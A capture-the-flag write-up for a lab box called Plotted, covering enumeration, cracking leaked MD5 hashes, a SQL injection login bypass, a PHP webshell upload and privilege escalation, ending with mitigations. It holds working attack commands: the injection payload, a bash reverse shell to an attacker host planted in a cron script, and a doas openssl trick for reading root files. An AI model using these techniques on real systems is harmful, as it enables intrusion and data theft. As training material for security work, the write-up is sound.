Summary
Plotted is a Linux CTF box hosting a PHP "Traffic Offense Management System" (TOMS) admin panel across two web services (ports 80 and 445). Initial enumeration uncovered decoy files and a leaked SQL database backup exposing weak MD5 password hashes. The web login was bypassed with a classic SQL injection auth bypass, and an arbitrary file upload in the admin panel's logo setting gave remote code execution as www-data. A misconfigured cron job combined with a writable script directory allowed privilege escalation to plot_admin, and a misconfigured doas rule for openssl allowed arbitrary file read as root, recovering the root flag.
1. Reconnaissance
Port scan with rustscan + nmap:
rustscan -a <MACHINE_IP> --ulimit 5000
Open <MACHINE_IP>:80
Open <MACHINE_IP>:22
Open <MACHINE_IP>:445
nmap -A <MACHINE_IP> -p 80,22,445 -oN plottedtms-nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
445/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Both port 80 and port 445 serve HTTP (445 is not SMB here, just Apache on a non-standard port). Both returned the default Apache2 Ubuntu page on /.
2. Web Enumeration - Port 80
Directory brute force with feroxbuster turned up a directory listing and some decoy files:
feroxbuster -u http://<MACHINE_IP>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404
200 GET admin/id_rsa
301 GET admin => admin/
200 GET passwd
200 GET shadow
curl http://<MACHINE_IP>/admin/id_rsa
VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE
curl http://<MACHINE_IP>/passwd
bm90IHRoaXMgZWFzeSA6RA==
curl http://<MACHINE_IP>/shadow
bm90IHRoaXMgZWFzeSA6RA==
Decoding the base64:
echo 'VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE' | base64 -d
Trust me it is not this easy..now get back to enumeration :D
echo 'bm90IHRoaXMgZWFzeSA6RA==' | base64 -d
not this easy :D
All three files were troll decoys - port 80 was a dead end.
3. Web Enumeration - Port 445
Same brute force against port 445 revealed a much larger PHP application under /management/ (an AdminLTE-based "Traffic Offense Management System"), with directory listing enabled on nearly every subdirectory:
feroxbuster -u http://<MACHINE_IP>:445/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404
301 GET management => management/
301 GET management/classes => management/classes/
301 GET management/database => management/database/
200 GET management/admin/login.php
200 GET management/index.php
...
found:299 errors:4
Notably, /management/database/ had directory listing enabled and exposed a SQL dump:
curl http://<MACHINE_IP>:445/management/database/
...
<a href="traffic_offense_db.sql">traffic_offense_db.sql</a> 10K
4. Database Dump and Credential Cracking
Pulled the dump directly:
curl http://<MACHINE_IP>:445/management/database/traffic_offense_db.sql
Key contents - users table with unsalted MD5 hashes:
INSERT INTO `users` (`id`, `firstname`, `lastname`, `username`, `password`, ...) VALUES
(1, 'Adminstrator', 'Admin', 'admin', '0192023a7bbd73250516f069df18b500', ...),
(9, 'John', 'Smith', 'jsmith', '1254737c076cf867dc53d60a0364f38e', ...);
Cracked with John (specifying the Raw-MD5 format, since the default guess was LM):
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
admin123 (?)
jsmith123 (?)
Tried both creds over SSH for admin and jsmith - both rejected (no valid shell accounts with those passwords). They also failed against the web admin login form directly - this whole hash/cracking path was a dead end, and access to the panel instead required the SQL injection below.
5. SQL Injection Auth Bypass
With the cracked credentials useless against the login form, the next step was testing the form itself, which proved vulnerable to a classic SQL injection auth bypass. Submitting:
- Username:
' or 1=1-- - - Password: any value
logged in as the administrator, confirming the login query was unparameterized and concatenated user input directly into the SQL query.
![Login page with SQLi payload in username field]
This granted access to the TOMS admin dashboard at /management/admin/.
6. Arbitrary File Upload to RCE
With admin access, the Settings > System Logo upload field had no server-side file type validation. Uploading a PHP webshell (shell.php) as the "logo" and then browsing to the dashboard triggered execution of the shell, giving a command execution primitive as the web server user:
www-data@plotted:/$ whoami
www-data
www-data@plotted:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
7. Privilege Escalation - www-data to plot_admin (Cron + Writable Script Dir)
Enumeration of cron jobs revealed a job running every minute as plot_admin:
cat /etc/crontab
* * * * * plot_admin /var/www/scripts/backup.sh
cat /var/www/scripts/backup.sh
#!/bin/bash
/usr/bin/rsync -a /var/www/html/management /home/plot_admin/tms_backup
/bin/chmod -R 770 /home/plot_admin/tms_backup/management
The script file itself (-rwxrwxr-- plot_admin plot_admin) was not directly writable by www-data, but the containing directory was:
ls -la /var/www/scripts/
drwxr-xr-x 2 www-data www-data 4096 ... .
-rwxrwxr-- 1 plot_admin plot_admin 141 ... backup.sh
Since /var/www/scripts is owned by www-data with write permission, www-data can remove and recreate files inside it regardless of the individual file's own ownership/permissions. The original script was deleted and replaced with a reverse shell payload:
rm backup.sh
cat > backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4443 0>&1
EOF
chmod +x backup.sh
Within a minute the cron job fired as plot_admin:
penelope listen -p 4443
[+] [New Reverse Shell] => plotted <MACHINE_IP> Linux-x86_64 plot_admin(1001)
plot_admin@plotted:~$ whoami
plot_admin
plot_admin@plotted:~$ id
uid=1001(plot_admin) gid=1001(plot_admin) groups=1001(plot_admin)
plot_admin@plotted:~$ cat user.txt
<REDACTED>
8. Privilege Escalation - plot_admin to root (doas + openssl)
sudo -l failed (no known password for plot_admin). Checked for exploitable SUID binaries next:
find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/at
/usr/bin/chsh
/usr/bin/umount
/usr/bin/doas
/usr/bin/newgrp
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
(plus a number of SUID binaries under /snap/core18, /snap/core20, /snap/snapd - all standard snap-packaged binaries)
Nothing exploitable on its own, but /usr/bin/doas stood out as worth checking its config - also confirmed there was no gcc/cc available for compiling exploits. Checking for doas (OpenBSD's sudo alternative) configuration revealed a passwordless rule:
cat /etc/doas.conf
permit nopass plot_admin as root cmd openssl
plot_admin can run openssl as root with no password. Running an interactive shell directly was blocked since only the openssl command is permitted:
doas -u root /bin/sh
doas: Operation not permitted
This is a known GTFOBins technique: openssl enc can be abused to read arbitrary files as root, since enc with no real encryption flags just passes the input through to the output. Used it to exfiltrate the root flag:
doas openssl enc -in /root/root.txt -out /tmp/root.txt
cat /tmp/root.txt
Congratulations on completing this room!
<REDACTED>
Hope you enjoyed the journey!
Confirmed arbitrary root-level file read more generally by dumping /etc/passwd to stdout the same way:
doas openssl enc -in /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Directory listing enabled |
/admin/ (port 80), /management/* (port 445) |
Information disclosure |
| 2 | Exposed database backup | /management/database/traffic_offense_db.sql |
Leaked password hashes |
| 3 | Weak/unsalted MD5 password hashing |
users table |
Hashes cracked instantly with rockyou.txt |
| 4 | SQL injection in login form | /management/admin/login.php |
Authentication bypass as admin |
| 5 | Unrestricted file upload | Admin Settings > System Logo | Remote code execution as www-data
|
| 6 | World/owner-writable script directory with root-owned cron job |
/var/www/scripts/ + /etc/crontab
|
Privilege escalation www-data -> plot_admin
|
| 7 | Overly permissive doas rule for openssl
|
/etc/doas.conf |
Arbitrary file read as root -> full root compromise |
Attack Chain
Nmap scan (22/80/445)
|
v
feroxbuster on :80 --> decoy files (id_rsa/passwd/shadow, all troll strings)
|
v
feroxbuster on :445 --> /management/ app + directory listing
|
v
Leaked traffic_offense_db.sql --> MD5 password hashes
|
v
John the Ripper (rockyou.txt) --> admin123 / jsmith123 (dead end for SSH)
|
v
SQLi auth bypass on /management/admin/login.php ( ' or 1=1-- - )
|
v
Admin dashboard access
|
v
Arbitrary file upload via System Logo setting --> shell.php
|
v
RCE as www-data
|
v
Cron job (* * * * * plot_admin backup.sh) + writable /var/www/scripts/
|
v
Overwrite backup.sh with reverse shell --> shell as plot_admin
|
v
user.txt captured
|
v
/etc/doas.conf: plot_admin nopass openssl as root
|
v
doas openssl enc -in /root/root.txt -out /tmp/root.txt (GTFOBins)
|
v
root.txt captured - full compromise
Mitigations
- Disable directory listing (
Options -Indexes) on all web-accessible directories, and never leave database backups or source trees reachable over HTTP. - Use a strong, salted, slow hashing algorithm (bcrypt/argon2) for stored passwords instead of raw MD5.
- Use parameterized queries/prepared statements everywhere user input reaches SQL, especially authentication logic.
- Validate and restrict uploaded file types server-side (whitelist extensions/MIME types, store uploads outside the web root or with execution disabled) rather than trusting client-side checks or filenames.
- Ensure directories containing root- or privileged-user-owned cron scripts are not writable by lower-privileged service accounts (
www-datashould not own the parent directory of a script executed by a cron job running as another user). - Scope
doas/sudorules to the minimum necessary; avoid grantingnopassaccess to generic multi-purpose binaries likeopenssl,find,vim, etc. that are well-known GTFOBins privilege escalation vectors.
Top comments (0)